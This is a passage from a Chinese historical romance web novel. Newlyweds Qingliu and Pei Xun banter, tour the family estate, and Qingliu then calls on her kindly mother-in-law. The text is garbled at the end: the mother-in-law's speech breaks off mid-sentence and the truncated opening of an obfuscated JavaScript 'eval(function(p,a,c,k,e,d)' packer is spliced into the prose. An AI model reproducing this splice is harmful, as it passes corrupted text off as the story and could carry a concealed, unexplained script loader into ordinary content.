我”。清柳夸下海口。
“为夫虽然也是读书人,但是打马骑射也不差的”。裴询对自己的打马骑射技术表示肯定。
“西山之行为啥你没有名次?……哦哦哦,忘记了,夫君又藏拙,嘻嘻”。清柳自问自答。
“我借口身子不舒服,未加入”。裴询让清柳无言了,这比她还能装,啧啧啧。
“清清,要不要今天就先到这里了,马球场改日去也成,为夫有些累了”。裴询建议道,目前差不多已是酉时,该休息了。但是裴询是醉翁之意不在酒。
“你不行,我都没喊累,要不要我背你呀?”裴询有被调侃道。
“是,为夫不行,晚上你来,行吗?”裴询不正经起来,清柳也能招架得住。
“我来就我来,我会让你求饶的”。清柳开始胡乱说话了。
“为夫很期待,不求饶”。裴询拉着她的手,到唇边轻吻一下,笑着回应道。
接下来的日子,如这日一般,一路游玩、一路嬉笑,裴氏族人撞见他们也是飞速招呼后扬长而去,生怕打扰到这对新婚夫妻。所见之处,有画栋雕梁,奇石佳木,且一亭一榭皆有来历,裴询细细为她讲起每一处景致背后旧事,讲起自己年少于此的点滴往事。清柳静静聆听或是问这问那,将这座日后朝夕相伴的府邸,一景一物,尽数记在心底。
时光如梭,裴询的新婚假期告罄。今日天未亮,裴询便起身整理朝服,入宫当值去了。余下她一人,但她的事情也不少,第一件事便是循礼问安。
跨入堂屋时,裴徐氏正坐在临窗软榻上,手中捏着一串佛珠,见她进门,眉眼温和,抬手轻轻阻了她欲行的大礼:
“不必多礼,过来坐。”
待清柳侧身在下首坐定,裴徐氏温和开口道:
“这几日,府里的日子可还适应?身边伺候的几个侍女行事可还妥帖?”
她顿了顿,指尖轻轻摩挲着杯沿,神色愈发和善:
“你刚进门,万事都生疏,切莫委屈自己,不管是下人伺候不周,或是生活起居有什么心意,只管来寻我。”又继续道:
“询儿看重你,你俩的事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29